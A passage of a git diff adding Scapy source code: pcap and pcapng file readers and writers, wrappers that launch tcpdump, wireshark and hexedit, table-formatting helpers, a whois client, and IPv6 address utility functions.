+            warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype,self.linktype))
+            self.LLcls = conf.raw_layer
+    def read_packet(self, size=MTU):
+        rp = RawPcapReader.read_packet(self, size=size)
+        if rp is None:
+            return None
+        s,(sec,usec,wirelen) = rp
+        
+        try:
+            p = self.LLcls(s)
+        except KeyboardInterrupt:
+            raise
+        except:
+            if conf.debug_dissector:
+                raise
+            p = conf.raw_layer(s)
+        p.time = sec + (0.000000001 if self.nano else 0.000001) * usec
+        return p
+    def read_all(self,count=-1):
+        res = RawPcapReader.read_all(self, count)
+        from scapy import plist
+        return plist.PacketList(res,name = os.path.basename(self.filename))
+    def recv(self, size=MTU):
+        return self.read_packet(size=size)
+
+
+class RawPcapNgReader(RawPcapReader):
+    """A stateful pcapng reader. Each packet is returned as a
+    string.
+
+    """
+
+    alternative = RawPcapReader
+
+    def __init__(self, filename, fdesc, magic):
+        self.filename = filename
+        self.f = fdesc
+        # A list of (linktype, snaplen, tsresol); will be populated by IDBs.
+        self.interfaces = []
+        self.blocktypes = {
+            1: self.read_block_idb,
+            2: self.read_block_pkt,
+            3: self.read_block_spb,
+            6: self.read_block_epb,
+        }
+        if magic != b"\x0a\x0d\x0d\x0a": # PcapNg:
+            raise Scapy_Exception(
+                "Not a pcapng capture file (bad magic: %r)" % magic
+            )
+        # see https://github.com/pcapng/pcapng
+        blocklen, magic = self.f.read(4), self.f.read(4)
+        if magic == b"\x1a\x2b\x3c\x4d":
+            self.endian = ">"
+        elif magic == b"\x4d\x3c\x2b\x1a":
+            self.endian = "<"
+        else:
+            raise Scapy_Exception("Not a pcapng capture file (bad magic)")
+        try:
+            self.f.seek(0)
+        except:
+            pass
+
+    def read_packet(self, size=MTU):
+        """Read blocks until it reaches either EOF or a packet, and
+        returns None or (packet, (linktype, sec, usec, wirelen)),
+        where packet is a string.
+
+        """
+        while True:
+            try:
+                blocktype, blocklen = struct.unpack(self.endian + "2I",
+                                                    self.f.read(8))
+            except struct.error:
+                return None
+            block = self.f.read(blocklen - 12)
+            if blocklen % 4:
+                pad = self.f.read(4 - (blocklen % 4))
+                warning("PcapNg: bad blocklen %d (MUST be a multiple of 4. "
+                        "Ignored padding %r" % (blocklen, pad))
+            try:
+                if (blocklen,) != struct.unpack(self.endian + 'I',
+                                                self.f.read(4)):
+                    warning("PcapNg: Invalid pcapng block (bad blocklen)")
+            except struct.error:
+                return None
+            res = self.blocktypes.get(blocktype,
+                                      lambda block, size: None)(block, size)
+            if res is not None:
+                return res
+
+    def read_block_idb(self, block, _):
+        """Interface Description Block"""
+        options = block[16:]
+        tsresol = 1000000
+        while len(options) >= 4:
+            code, length = struct.unpack(self.endian + "HH", options[:4])
+            # PCAP Next Generation (pcapng) Capture File Format
+            # 4.2. - Interface Description Block
+            # http://xml2rfc.tools.ietf.org/cgi-bin/xml2rfc.cgi?url=https://raw.githubusercontent.com/pcapng/pcapng/master/draft-tuexen-opsawg-pcapng.xml&modeAsFormat=html/ascii&type=ascii#rfc.section.4.2
+            if code == 9 and length == 1 and len(options) >= 5:
+                tsresol = orb(options[4])
+                tsresol = (2 if tsresol & 128 else 10) ** (tsresol & 127)
+            if code == 0:
+                if length != 0:
+                    warning("PcapNg: invalid option length %d for end-of-option" % length)
+                break
+            if length % 4:
+                length += (4 - (length % 4))
+            options = options[4 + length:]
+        self.interfaces.append(struct.unpack(self.endian + "HxxI", block[:8])
+                               + (tsresol,))
+
+    def read_block_epb(self, block, size):
+        """Enhanced Packet Block"""
+        intid, tshigh, tslow, caplen, wirelen = struct.unpack(
+            self.endian + "5I",
+            block[:20],
+        )
+        return (block[20:20 + caplen][:size],
+                (self.interfaces[intid][0], self.interfaces[intid][2],
+                 tshigh, tslow, wirelen))
+
+    def read_block_spb(self, block, size):
+        """Simple Packet Block"""
+        # "it MUST be assumed that all the Simple Packet Blocks have
+        # been captured on the interface previously specified in the
+        # first Interface Description Block."
+        intid = 0
+        wirelen, = struct.unpack(self.endian + "I", block[:4])
+        caplen = min(wirelen, self.interfaces[intid][1])
+        return (block[4:4 + caplen][:size],
+                (self.interfaces[intid][0], self.interfaces[intid][2],
+                 None, None, wirelen))
+
+    def read_block_pkt(self, block, size):
+        """(Obsolete) Packet Block"""
+        intid, drops, tshigh, tslow, caplen, wirelen = struct.unpack(
+            self.endian + "HH4I",
+            block[:20],
+        )
+        return (block[20:20 + caplen][:size],
+                (self.interfaces[intid][0], self.interfaces[intid][2],
+                 tshigh, tslow, wirelen))
+
+
+class PcapNgReader(RawPcapNgReader):
+
+    alternative = PcapReader
+
+    def __init__(self, filename, fdesc, magic):
+        RawPcapNgReader.__init__(self, filename, fdesc, magic)
+
+    def read_packet(self, size=MTU):
+        rp = RawPcapNgReader.read_packet(self, size=size)
+        if rp is None:
+            return None
+        s, (linktype, tsresol, tshigh, tslow, wirelen) = rp
+        try:
+            p = conf.l2types[linktype](s)
+        except KeyboardInterrupt:
+            raise
+        except:
+            if conf.debug_dissector:
+                raise
+            p = conf.raw_layer(s)
+        if tshigh is not None:
+            p.time = float((tshigh << 32) + tslow) / tsresol
+        return p
+    def read_all(self,count=-1):
+        res = RawPcapNgReader.read_all(self, count)
+        from scapy import plist
+        return plist.PacketList(res, name=os.path.basename(self.filename))
+    def recv(self, size=MTU):
+        return self.read_packet()
+
+
+class RawPcapWriter:
+    """A stream PCAP writer with more control than wrpcap()"""
+    def __init__(self, filename, linktype=None, gz=False, endianness="",
+                 append=False, sync=False, nano=False):
+        """
+filename:   the name of the file to write packets to, or an open,
+            writable file-like object.
+linktype:   force linktype to a given value. If None, linktype is taken
+            from the first writer packet
+gz:         compress the capture on the fly
+endianness: force an endianness (little:"<", big:">"). Default is native
+append:     append packets to the capture file instead of truncating it
+sync:       do not bufferize writes to the capture file
+nano:       use nanosecond-precision (requires libpcap >= 1.5.0)
+
+        """
+        
+        self.linktype = linktype
+        self.header_present = 0
+        self.append = append
+        self.gz = gz
+        self.endian = endianness
+        self.sync = sync
+        self.nano = nano
+        bufsz=4096
+        if sync:
+            bufsz = 0
+
+        if isinstance(filename, six.string_types):
+            self.filename = filename
+            self.f = [open,gzip.open][gz](filename,append and "ab" or "wb", gz and 9 or bufsz)
+        else:
+            self.f = filename
+            self.filename = (filename.name
+                             if hasattr(filename, "name") else
+                             "No name")
+
+    def fileno(self):
+        return self.f.fileno()
+
+    def _write_header(self, pkt):
+        self.header_present=1
+
+        if self.append:
+            # Even if prone to race conditions, this seems to be
+            # safest way to tell whether the header is already present
+            # because we have to handle compressed streams that
+            # are not as flexible as basic files
+            g = [open,gzip.open][self.gz](self.filename,"rb")
+            if g.read(16):
+                return
+            
+        self.f.write(struct.pack(self.endian+"IHHIIII", 0xa1b23c4d if self.nano else 0xa1b2c3d4,
+                                 2, 4, 0, 0, MTU, self.linktype))
+        self.f.flush()
+    
+
+    def write(self, pkt):
+        """accepts either a single packet or a list of packets to be
+        written to the dumpfile
+
+        """
+        if isinstance(pkt, str):
+            if not self.header_present:
+                self._write_header(pkt)
+            self._write_packet(pkt)
+        else:
+            pkt = pkt.__iter__()
+            if not self.header_present:
+                try:
+                    p = next(pkt)
+                except StopIteration:
+                    self._write_header(b"")
+                    return
+                self._write_header(p)
+                self._write_packet(p)
+            for p in pkt:
+                self._write_packet(p)
+
+    def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None):
+        """writes a single packet to the pcap file
+        """
+        if isinstance(packet, tuple):
+            for pkt in packet:
+                self._write_packet(pkt, sec=sec, usec=usec, caplen=caplen,
+                                   wirelen=wirelen)
+            return
+        if caplen is None:
+            caplen = len(packet)
+        if wirelen is None:
+            wirelen = caplen
+        if sec is None or usec is None:
+            t=time.time()
+            it = int(t)
+            if sec is None:
+                sec = it
+            if usec is None:
+                usec = int(round((t - it) * (1000000000 if self.nano else 1000000)))
+        self.f.write(struct.pack(self.endian+"IIII", sec, usec, caplen, wirelen))
+        self.f.write(packet)
+        if self.sync:
+            self.f.flush()
+
+    def flush(self):
+        return self.f.flush()
+
+    def close(self):
+        return self.f.close()
+
+    def __enter__(self):
+        return self
+    def __exit__(self, exc_type, exc_value, tracback):
+        self.flush()
+        self.close()
+
+
+class PcapWriter(RawPcapWriter):
+    """A stream PCAP writer with more control than wrpcap()"""
+    def _write_header(self, pkt):
+        if isinstance(pkt, tuple) and pkt:
+            pkt = pkt[0]
+        if self.linktype == None:
+            try:
+                self.linktype = conf.l2types[pkt.__class__]
+            except KeyError:
+                warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)", pkt.__class__.__name__)
+                self.linktype = 1
+        RawPcapWriter._write_header(self, pkt)
+
+    def _write_packet(self, packet):
+        if isinstance(packet, tuple):
+            for pkt in packet:
+                self._write_packet(pkt)
+            return
+        sec = int(packet.time)
+        usec = int(round((packet.time - sec) * (1000000000 if self.nano else 1000000)))
+        s = raw(packet)
+        caplen = len(s)
+        RawPcapWriter._write_packet(self, s, sec, usec, caplen, caplen)
+
+
+re_extract_hexcap = re.compile("^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})")
+
+@conf.commands.register
+def import_hexcap():
+    p = ""
+    try:
+        while True:
+            l = input().strip()
+            try:
+                p += re_extract_hexcap.match(l).groups()[2]
+            except:
+                warning("Parsing error during hexcap")
+                continue
+    except EOFError:
+        pass
+    
+    p = p.replace(" ","")
+    return p.decode("hex")
+        
+
+
+@conf.commands.register
+def wireshark(pktlist):
+    """Run wireshark on a list of packets"""
+    f = get_temp_file()
+    wrpcap(f, pktlist)
+    with ContextManagerSubprocess("wireshark()", conf.prog.wireshark):
+        subprocess.Popen([conf.prog.wireshark, "-r", f])
+
+@conf.commands.register
+def tcpdump(pktlist, dump=False, getfd=False, args=None,
+            prog=None, getproc=False, quiet=False):
+    """Run tcpdump or tshark on a list of packets
+
+pktlist: a Packet instance, a PacketList instance or a list of Packet
+         instances. Can also be a filename (as a string) or an open
+         file-like object that must be a file format readable by
+         tshark (Pcap, PcapNg, etc.)
+
+dump:    when set to True, returns a string instead of displaying it.
+getfd:   when set to True, returns a file-like object to read data
+         from tcpdump or tshark from.
+getproc: when set to True, the subprocess.Popen object is returned
+args:    arguments (as a list) to pass to tshark (example for tshark:
+         args=["-T", "json"]). Defaults to ["-n"].
+prog:    program to use (defaults to tcpdump, will work with tshark)
+quiet:   when set to True, the process stderr is discarded
+
+Examples:
+
+>>> tcpdump([IP()/TCP(), IP()/UDP()])
+reading from file -, link-type RAW (Raw IP)
+16:46:00.474515 IP 127.0.0.1.20 > 127.0.0.1.80: Flags [S], seq 0, win 8192, length 0
+16:46:00.475019 IP 127.0.0.1.53 > 127.0.0.1.53: [|domain]
+
+>>> tcpdump([IP()/TCP(), IP()/UDP()], prog=conf.prog.tshark)
+  1   0.000000    127.0.0.1 -> 127.0.0.1    TCP 40 20->80 [SYN] Seq=0 Win=8192 Len=0
+  2   0.000459    127.0.0.1 -> 127.0.0.1    UDP 28 53->53 Len=0
+
+To get a JSON representation of a tshark-parsed PacketList(), one can:
+>>> import json, pprint
+>>> json_data = json.load(tcpdump(IP(src="217.25.178.5", dst="45.33.32.156"),
+...                               prog=conf.prog.tshark, args=["-T", "json"],
+...                               getfd=True))
+>>> pprint.pprint(json_data)
+[{u'_index': u'packets-2016-12-23',
+  u'_score': None,
+  u'_source': {u'layers': {u'frame': {u'frame.cap_len': u'20',
+                                      u'frame.encap_type': u'7',
+[...]
+                                      u'frame.time_relative': u'0.000000000'},
+                           u'ip': {u'ip.addr': u'45.33.32.156',
+                                   u'ip.checksum': u'0x0000a20d',
+[...]
+                                   u'ip.ttl': u'64',
+                                   u'ip.version': u'4'},
+                           u'raw': u'Raw packet data'}},
+  u'_type': u'pcap_file'}]
+>>> json_data[0]['_source']['layers']['ip']['ip.ttl']
+u'64'
+
+    """
+    getfd = getfd or getproc
+    if prog is None:
+        prog = [conf.prog.tcpdump]
+    elif isinstance(prog, six.string_types):
+        prog = [prog]
+    _prog_name = "windump()" if WINDOWS else "tcpdump()"
+    if pktlist is None:
+        with ContextManagerSubprocess(_prog_name, prog[0]):
+            proc = subprocess.Popen(
+                prog + (args if args is not None else []),
+                stdout=subprocess.PIPE if dump or getfd else None,
+                stderr=open(os.devnull) if quiet else None,
+            )
+    elif isinstance(pktlist, six.string_types):
+        with ContextManagerSubprocess(_prog_name, prog[0]):
+            proc = subprocess.Popen(
+                prog + ["-r", pktlist] + (args if args is not None else []),
+                stdout=subprocess.PIPE if dump or getfd else None,
+                stderr=open(os.devnull) if quiet else None,
+            )
+    elif DARWIN:
+        # Tcpdump cannot read from stdin, see
+        # <http://apple.stackexchange.com/questions/152682/>
+        tmpfile = tempfile.NamedTemporaryFile(delete=False)
+        try:
+            tmpfile.writelines(iter(lambda: pktlist.read(1048576), b""))
+        except AttributeError:
+            wrpcap(tmpfile, pktlist)
+        else:
+            tmpfile.close()
+        with ContextManagerSubprocess(_prog_name, prog[0]):
+            proc = subprocess.Popen(
+                prog + ["-r", tmpfile.name] + (args if args is not None else []),
+                stdout=subprocess.PIPE if dump or getfd else None,
+                stderr=open(os.devnull) if quiet else None,
+            )
+        conf.temp_files.append(tmpfile.name)
+    else:
+        with ContextManagerSubprocess(_prog_name, prog[0]):
+            proc = subprocess.Popen(
+                prog + ["-r", "-"] + (args if args is not None else []),
+                stdin=subprocess.PIPE,
+                stdout=subprocess.PIPE if dump or getfd else None,
+                stderr=open(os.devnull) if quiet else None,
+            )
+        try:
+            proc.stdin.writelines(iter(lambda: pktlist.read(1048576), b""))
+        except AttributeError:
+            wrpcap(proc.stdin, pktlist)
+        else:
+            proc.stdin.close()
+    if dump:
+        return b"".join(iter(lambda: proc.stdout.read(1048576), b""))
+    if getproc:
+        return proc
+    if getfd:
+        return proc.stdout
+    proc.wait()
+
+@conf.commands.register
+def hexedit(x):
+    x = str(x)
+    f = get_temp_file()
+    open(f,"wb").write(x)
+    with ContextManagerSubprocess("hexedit()", conf.prog.hexedit):
+        subprocess.call([conf.prog.hexedit, f])
+    x = open(f).read()
+    os.unlink(f)
+    return x
+
+def get_terminal_width():
+    """Get terminal width if in a window"""
+    if WINDOWS:
+        from ctypes import windll, create_string_buffer
+        # http://code.activestate.com/recipes/440694-determine-size-of-console-window-on-windows/
+        h = windll.kernel32.GetStdHandle(-12)
+        csbi = create_string_buffer(22)
+        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
+        if res:
+            import struct
+            (bufx, bufy, curx, cury, wattr,
+             left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
+            sizex = right - left + 1
+            #sizey = bottom - top + 1
+            return sizex
+        else:
+            return None
+    else:
+        sizex = 0
+        try:
+            import struct, fcntl, termios
+            s = struct.pack('HHHH', 0, 0, 0, 0)
+            x = fcntl.ioctl(1, termios.TIOCGWINSZ, s)
+            sizex = struct.unpack('HHHH', x)[1]
+        except IOError:
+            pass
+        if not sizex:
+            try:
+                sizex = int(os.environ['COLUMNS'])
+            except:
+                pass
+        if sizex:
+            return sizex
+        else:
+            return None
+
+def pretty_list(rtlst, header, sortBy=0):
+    """Pretty list to fit the terminal, and add header"""
+    _l_header = len(header[0])
+    _space = "  "
+    # Sort correctly
+    rtlst.sort(key=lambda x: x[sortBy])
+    # Append tag
+    rtlst = header + rtlst
+    # Detect column's width
+    colwidth = [max([len(y) for y in x]) for x in zip(*rtlst)]
+    # Make text fit in box (if exist)
+    # TODO: find a better and more precise way of doing this. That's currently working but very complicated
+    width = get_terminal_width()
+    if width:
+        if sum(colwidth) > width:
+            # Needs to be cropped
+            _med = (width // _l_header) - (1 if WINDOWS else 0) # Windows has a fat window border
+            # Crop biggest until size is correct
+            for i in range(1, len(colwidth)): # Should use while, but this is safer
+                if (sum(colwidth)+6) <= width:
+                    break
+                _max = max(colwidth)
+                colwidth = [_med if x == _max else x for x in colwidth]
+            def _crop(x, width):
+                _r = x[:width]
+                if _r != x:
+                    _r = x[:width-3]
+                    return _r + "..."
+                return _r
+            rtlst = [tuple([_crop(rtlst[j][i], colwidth[i]) for i in range(0, len(rtlst[j]))]) for j in range(0, len(rtlst))]
+            # Recalculate column's width
+            colwidth = [max([len(y) for y in x]) for x in zip(*rtlst)]
+    fmt = _space.join(["%%-%ds"%x for x in colwidth])
+    rt = "\n".join([fmt % x for x in rtlst])
+    return rt
+
+def __make_table(yfmtfunc, fmtfunc, endline, data, fxyz, sortx=None, sorty=None, seplinefunc=None):
+    vx = {} 
+    vy = {} 
+    vz = {}
+    vxf = {}
+    vyf = {}
+    l = 0
+    for e in data:
+        xx, yy, zz = [str(s) for s in fxyz(e)]
+        l = max(len(yy),l)
+        vx[xx] = max(vx.get(xx,0), len(xx), len(zz))
+        vy[yy] = None
+        vz[(xx,yy)] = zz
+
+    vxk = list(vx)
+    vyk = list(vy)
+    if sortx:
+        vxk.sort(key=sortx)
+    else:
+        try:
+            vxk.sort(key=int)
+        except:
+            try:
+                vxk.sort(key=atol)
+            except:
+                vxk.sort()
+    if sorty:
+        vyk.sort(key=sorty)
+    else:
+        try:
+            vyk.sort(key=int)
+        except:
+            try:
+                vyk.sort(key=atol)
+            except:
+                vyk.sort()
+
+
+    if seplinefunc:
+        sepline = seplinefunc(l, [vx[x] for x in vxk])
+        print(sepline)
+
+    fmt = yfmtfunc(l)
+    print(fmt % "", end=' ')
+    for x in vxk:
+        vxf[x] = fmtfunc(vx[x])
+        print(vxf[x] % x, end=' ')
+    print(endline)
+    if seplinefunc:
+        print(sepline)
+    for y in vyk:
+        print(fmt % y, end=' ')
+        for x in vxk:
+            print(vxf[x] % vz.get((x,y), "-"), end=' ')
+        print(endline)
+    if seplinefunc:
+        print(sepline)
+
+def make_table(*args, **kargs):
+    __make_table(lambda l:"%%-%is" % l, lambda l:"%%-%is" % l, "", *args, **kargs)
+    
+def make_lined_table(*args, **kargs):
+    __make_table(lambda l:"%%-%is |" % l, lambda l:"%%-%is |" % l, "",
+                 seplinefunc=lambda a,x:"+".join('-'*(y+2) for y in [a-1]+x+[-2]),
+                 *args, **kargs)
+
+def make_tex_table(*args, **kargs):
+    __make_table(lambda l: "%s", lambda l: "& %s", "\\\\", seplinefunc=lambda a,x:"\\hline", *args, **kargs)
+
+###############################################
+### WHOIS CLIENT (not available on windows) ###
+###############################################
+
+def whois(ip_address):
+    """Whois client for Python"""
+    whois_ip = str(ip_address)
+    try:
+        query = socket.gethostbyname(whois_ip)
+    except:
+        query = whois_ip
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect(("whois.ripe.net", 43))
+    s.send(query.encode("utf8") + b"\r\n")
+    answer = b""
+    while True:
+        d = s.recv(4096)
+        answer += d
+        if not d:
+            break
+    s.close()
+    ignore_tag = b"remarks:"
+    # ignore all lines starting with the ignore_tag
+    lines = [ line for line in answer.split(b"\n") if not line or (line and not line.startswith(ignore_tag))]
+    # remove empty lines at the bottom
+    for i in range(1, len(lines)):
+        if not lines[-i].strip():
+            del lines[-i]
+        else:
+            break
+    return b"\n".join(lines[3:])
diff --git a/scapy/utils6.py b/scapy/utils6.py
new file mode 100644
index 0000000..51be5b5
--- /dev/null
+++ b/scapy/utils6.py
@@ -0,0 +1,782 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>
+##                     Arnaud Ebalard <arnaud.ebalard@eads.net>
+
+"""
+Utility functions for IPv6.
+"""
+from __future__ import absolute_import
+import random
+import socket
+import struct
+
+from scapy.config import conf
+import scapy.consts
+from scapy.data import *
+from scapy.utils import *
+from scapy.compat import *
+from scapy.pton_ntop import *
+from scapy.volatile import RandMAC
+from scapy.error import warning
+from functools import reduce
+from scapy.modules.six.moves import range
+
+
+def construct_source_candidate_set(addr, plen, laddr):
+    """
+    Given all addresses assigned to a specific interface ('laddr' parameter),
+    this function returns the "candidate set" associated with 'addr/plen'.
+    
+    Basically, the function filters all interface addresses to keep only those
+    that have the same scope as provided prefix.
+    
+    This is on this list of addresses that the source selection mechanism 
+    will then be performed to select the best source address associated
+    with some specific destination that uses this prefix.
+    """
+    def cset_sort(x,y):
+        x_global = 0
+        if in6_isgladdr(x):
+            x_global = 1
+        y_global = 0
+        if in6_isgladdr(y):
+            y_global = 1
+        res = y_global - x_global
+        if res != 0 or y_global != 1:
+            return res
+        # two global addresses: if one is native, it wins.
+        if not in6_isaddr6to4(x):
+            return -1;
+        return -res
+
+    cset = []
+    if in6_isgladdr(addr) or in6_isuladdr(addr):
+        cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL)
+    elif in6_islladdr(addr):
+        cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL)
+    elif in6_issladdr(addr):
+        cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL)
+    elif in6_ismaddr(addr):
+        if in6_ismnladdr(addr):
+            cset = [('::1', 16, scapy.consts.LOOPBACK_INTERFACE)]
+        elif in6_ismgladdr(addr):
+            cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL)
+        elif in6_ismlladdr(addr):
+            cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL)
+        elif in6_ismsladdr(addr):
+            cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL)
+    elif addr == '::' and plen == 0:
+        cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL)
+    cset = [x[0] for x in cset]
+    # TODO convert the cmd use into a key
+    cset.sort(key=cmp_to_key(cset_sort)) # Sort with global addresses first
+    return cset            
+
+def get_source_addr_from_candidate_set(dst, candidate_set):
+    """
+    This function implement a limited version of source address selection
+    algorithm defined in section 5 of RFC 3484. The format is very different
+    from that described in the document because it operates on a set 
+    of candidate source address for some specific route.
+    """
+
+    def scope_cmp(a, b):
+        """
+        Given two addresses, returns -1, 0 or 1 based on comparison of
+        their scope
+        """
+        scope_mapper = {IPV6_ADDR_GLOBAL: 4,
+                        IPV6_ADDR_SITELOCAL: 3,
+                        IPV6_ADDR_LINKLOCAL: 2,
+                        IPV6_ADDR_LOOPBACK: 1}
+        sa = in6_getscope(a)
+        if sa == -1:
+            sa = IPV6_ADDR_LOOPBACK
+        sb = in6_getscope(b)
+        if sb == -1:
+            sb = IPV6_ADDR_LOOPBACK
+
+        sa = scope_mapper[sa]
+        sb = scope_mapper[sb]
+
+        if sa == sb:
+            return 0
+        if sa > sb:
+            return 1
+        return -1
+
+    def rfc3484_cmp(source_a, source_b):
+        """
+        The function implements a limited version of the rules from Source
+        Address selection algorithm defined section of RFC 3484.
+        """
+
+        # Rule 1: Prefer same address
+        if source_a == dst:
+            return 1
+        if source_b == dst:
+            return 1
+
+        # Rule 2: Prefer appropriate scope
+        tmp = scope_cmp(source_a, source_b)
+        if tmp == -1:
+            if scope_cmp(source_a, dst) == -1:
+                return 1
+            else:
+                return -1
+        elif tmp == 1:
+            if scope_cmp(source_b, dst) == -1:
+                return 1
+            else:
+                return -1
+
+        # Rule 3: cannot be easily implemented
+        # Rule 4: cannot be easily implemented
+        # Rule 5: does not make sense here
+        # Rule 6: cannot be implemented
+        # Rule 7: cannot be implemented
+        
+        # Rule 8: Longest prefix match
+        tmp1 = in6_get_common_plen(source_a, dst)
+        tmp2 = in6_get_common_plen(source_b, dst)
+        if tmp1 > tmp2:
+            return 1
+        elif tmp2 > tmp1:
+            return -1
+        return 0
+    
+    if not candidate_set:
+        # Should not happen
+        return None
+
+    candidate_set.sort(key=cmp_to_key(rfc3484_cmp), reverse=True)
+    
+    return candidate_set[0]
+
+
+# Think before modify it : for instance, FE::1 does exist and is unicast
+# there are many others like that.
+# TODO : integrate Unique Local Addresses
+def in6_getAddrType(addr):
+    naddr = inet_pton(socket.AF_INET6, addr)
+    paddr = inet_ntop(socket.AF_INET6, naddr) # normalize
+    addrType = 0
+    # _Assignable_ Global Unicast Address space
+    # is defined in RFC 3513 as those in 2000::/3
+    if ((orb(naddr[0]) & 0xE0) == 0x20):
+        addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL)
+        if naddr[:2] == b' \x02': # Mark 6to4 @
+            addrType |= IPV6_ADDR_6TO4
+    elif orb(naddr[0]) == 0xff: # multicast
+        addrScope = paddr[3]
+        if addrScope == '2':
+            addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST)
+        elif addrScope == 'e':
+            addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST)
+        else:
+            addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST)
+    elif ((orb(naddr[0]) == 0xfe) and ((int(paddr[2], 16) & 0xC) == 0x8)):
+        addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL)
+    elif paddr == "::1":
+        addrType = IPV6_ADDR_LOOPBACK
+    elif paddr == "::":
+        addrType = IPV6_ADDR_UNSPECIFIED
+    else:
+        # Everything else is global unicast (RFC 3513)
+        # Even old deprecated (RFC3879) Site-Local addresses
+        addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)
+
+    return addrType
+
+def in6_mactoifaceid(mac, ulbit=None):
+    """
+    Compute the interface ID in modified EUI-64 format associated 
+    to the Ethernet address provided as input.
+    value taken by U/L bit in the interface identifier is basically 
+    the reversed value of that in given MAC address it can be forced
+    to a specific value by using optional 'ulbit' parameter.
+    """
+    if len(mac) != 17: return None
+    m = "".join(mac.split(':'))
+    if len(m) != 12: return None
+    first = int(m[0:2], 16)
+    if ulbit is None or not (ulbit == 0 or ulbit == 1):
+        ulbit = [1,'-',0][first & 0x02]
+    ulbit *= 2
+    first = "%.02x" % ((first & 0xFD) | ulbit)
+    eui64 = first + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12]
+    return eui64.upper()
+
+def in6_ifaceidtomac(ifaceid): # TODO: finish commenting function behavior
+    """
+    Extract the mac address from provided iface ID. Iface ID is provided 
+    in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None 
+    is returned on error.
+    """
+    try:
+        ifaceid = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:16]
+    except:
+        return None
+    if ifaceid[3:5] != b'\xff\xfe':
+        return None
+    first = struct.unpack("B", ifaceid[:1])[0]
+    ulbit = 2*[1,'-',0][first & 0x02]
+    first = struct.pack("B", ((first & 0xFD) | ulbit))
+    oui = first + ifaceid[1:3]
+    end = ifaceid[5:]
+    l = ["%.02x" % orb(x) for x in list(oui + end)]
+    return ":".join(l)
+
+def in6_addrtomac(addr):
+    """
+    Extract the mac address from provided address. None is returned
+    on error.
+    """
+    mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff")
+    x = in6_and(mask, inet_pton(socket.AF_INET6, addr))
+    ifaceid = inet_ntop(socket.AF_INET6, x)[2:]
+    return in6_ifaceidtomac(ifaceid)
+
+def in6_addrtovendor(addr):
+    """
+    Extract the MAC address from a modified EUI-64 constructed IPv6
+    address provided and use the IANA oui.txt file to get the vendor.
+    The database used for the conversion is the one loaded by Scapy,
+    based on Wireshark (/usr/share/wireshark/wireshark/manuf)  None
+    is returned on error, "UNKNOWN" if the vendor is unknown.
+    """
+    mac = in6_addrtomac(addr)
+    if mac is None:
+        return None
+
+    res = conf.manufdb._get_manuf(mac)
+    if len(res) == 17 and res.count(':') != 5: # Mac address, i.e. unknown
+        res = "UNKNOWN"
+
+    return res
+
+def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2):
+    """
+    Generate a Link-Scoped Multicast Address as described in RFC 4489.
+    Returned value is in printable notation.
+
+    'addr' parameter specifies the link-local address to use for generating
+    Link-scoped multicast address IID.
+    
+    By default, the function returns a ::/96 prefix (aka last 32 bits of 
+    returned address are null). If a group id is provided through 'grpid' 
+    parameter, last 32 bits of the address are set to that value (accepted 
+    formats : b'\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896).
+
+    By default, generated address scope is Link-Local (2). That value can 
+    be modified by passing a specific 'scope' value as an argument of the
+    function. RFC 4489 only authorizes scope values <= 2. Enforcement
+    is performed by the function (None will be returned).
+    
+    If no link-local address can be used to generate the Link-Scoped IPv6
+    Multicast address, or if another error occurs, None is returned.
+    """
+    if not scope in [0, 1, 2]:
+        return None    
+    try:
+        if not in6_islladdr(addr):
+            return None
+        addr = inet_pton(socket.AF_INET6, addr)
+    except:
+        warning("in6_getLinkScopedMcastPrefix(): Invalid address provided")
+        return None
+
+    iid = addr[8:]
+
+    if grpid is None:
+        grpid = b'\x00\x00\x00\x00'
+    else:
+        if isinstance(grpid, (bytes, str)):
+            if len(grpid) == 8:
+                try:
+                    grpid = int(grpid, 16) & 0xffffffff
+                except:
+                    warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided")
+                    return None
+            elif len(grpid) == 4:
+                try:
+                    grpid = struct.unpack("!I", grpid)[0]
+                except:
+                    warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided")
+                    return None
+        grpid = struct.pack("!I", grpid)
+
+    flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope))
+    plen = b'\xff'
+    res = b'\x00'
+    a = b'\xff' + flgscope + res + plen + iid + grpid
+
+    return inet_ntop(socket.AF_INET6, a)
+
+def in6_get6to4Prefix(addr):
+    """
+    Returns the /48 6to4 prefix associated with provided IPv4 address
+    On error, None is returned. No check is performed on public/private
+    status of the address
+    """
+    try:
+        addr = inet_pton(socket.AF_INET, addr)
+        addr = inet_ntop(socket.AF_INET6, b'\x20\x02'+addr+b'\x00'*10)
+    except:
+        return None
+    return addr
+
